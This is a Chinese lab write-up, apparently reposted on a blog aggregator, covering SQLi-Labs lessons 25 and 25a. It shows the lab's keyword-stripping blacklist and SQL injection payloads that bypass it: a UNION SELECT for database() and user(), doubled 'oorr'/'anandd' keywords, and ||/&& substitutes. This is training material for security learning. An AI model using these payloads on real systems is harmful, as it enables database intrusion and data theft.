SQLi Labs Lesson25 & Lesson25a
来源:互联网 发布:玫瑰花 简笔画软件 编辑:程序博客网 时间:2024/06/04 19:23
Lesson - 25
GET - Error based - All your OR & AND belong to us - string single quote
本节的标题是 All your 'OR' and 'AND' belong to us.
查看源代码,发现:
$id= blacklist($id);function blacklist($id){$id= preg_replace('/or/i',"", $id);//strip out OR (non case sensitive)$id= preg_replace('/AND/i',"", $id);//Strip out AND (non case sensitive)return $id;}blacklist函数将变量$id中的'or' 'and'不区分大小写的替换为空字符串。
但是可以用union
构造 ?id=0' union select 1,database(),user() --+
对于'or' 'and'可以利用blacklist函数,构造出‘or' ’and'
如:
?id ='0' oorr 1=1 --+
结果如图所示:
同理,and可以用 'anandd'
同时'or'还可以用 '||','and'用‘&&'。但是因为'&'为URL 中指定的参数间的分隔符,所以当'&'为参数时要,URLencode,用‘%26'代替。
Lesson - 25a
GET - Blind based - All your OR & AND belong to us - intiger based
$id= blacklist($id);$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) return $id;}
还是可以利用上面的方法绕过blacklist函数。
0 0
- SQLi Labs Lesson25 & Lesson25a
- sqli-labs
- sqli-labs
- sqli-labs ---- Less-2
- sqli-labs ---- Less-7
- sqli-labs lesson-2
- sqli labs通关秘籍
- SQLi Labs Lesson1
- SQLi Labs Lesson2
- SQLi Labs Lesson3
- SQLi Labs Lesson4
- SQLi Labs Lesson5
- SQLi Labs Lesson6
- SQLi Labs Lesson7
- SQLi Labs Lesson8
- SQLi Labs Lesson9 Lesson10
- SQLi Labs Lesson11
- SQLi Labs Lesson12
- 浅出 RPC - 深入篇
- vs2013快捷键
- SCU - 2763 Factorial(任意阶乘中任意数的次数)
- Spring MVC测试框架
- Pro Android学习笔记(一四五):触摸屏(4):手势
- SQLi Labs Lesson25 & Lesson25a
- 课程设计==||
- windows核心编程-第二章 Unicode
- 装配Bean:JavaConfig@Bean@Configuration
- 《Java》———JDBC的学习一
- bgcolor
- Pro Android学习笔记(一四六):触摸屏(5):自定义手势
- 编译busybox所遇到的bug
- java中HashMap的遍历